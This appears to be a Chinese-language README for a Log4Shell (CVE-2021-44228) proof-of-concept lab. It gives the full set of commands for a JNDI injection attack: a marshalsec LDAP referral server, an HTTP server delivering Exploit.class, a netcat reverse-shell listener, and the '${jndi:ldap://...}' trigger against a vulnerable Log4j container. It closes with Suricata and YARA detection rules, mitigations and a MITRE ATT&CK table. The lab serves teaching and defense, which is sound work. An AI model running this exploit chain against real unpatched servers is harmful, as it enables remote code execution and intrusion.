██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
Log4Shell PoC 是一个高保真漏洞利用环境,专为复现 CVE-2021-44228 漏洞而设计。 它提供了一个容器化沙箱,用于演示通过 Log4j 2 库实现的 JNDI 注入、LDAP/RMI 引用重定向以及远程代码执行(RCE)。
仅限教育和授权安全测试之用。
未经双方事先同意,使用本概念验证来攻击目标属于非法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。作者不承担任何责任,也不对因使用本程序而导致的任何数据丢失、系统损坏、法律后果或滥用负责。使用本软件即表示您同意在您所在司法管辖区的法律边界内进行操作。
攻击者端由三个不同的信道组成,以协助完成 PoC。
Exploit.class 字节码,供受害者下载并执行。一个运行存在漏洞的 Log4j 实现的 Docker 化 OpenJDK 8 环境。
标签页 1:LDAP 引用服务器
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
标签页 2:HTTP 载荷投递
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
标签页 3:Netcat 监听器
nc -lvnp 9001
标签页 4:启动存在漏洞的容器
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
在容器内部:触发 PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
-Dlog4j2.formatMsgNoLookups=true 以禁用查找功能。log4j-core JAR 包中删除 JndiLookup.class。172.17.0.0/16)。| 阶段 | 技术 | 是否触发告警? | MITRE ATT&CK |
|---|
| 初始访问 | 利用面向公众的应用程序 | [ ] | T1190 |
| 执行 | 命令和脚本解释器 | [ ] | T1059 |
| 命令与控制 | 应用层协议(LDAP) | [ ] | T1071.003 |
| 数据渗漏 | 非应用层协议 | [ ] | T1048 |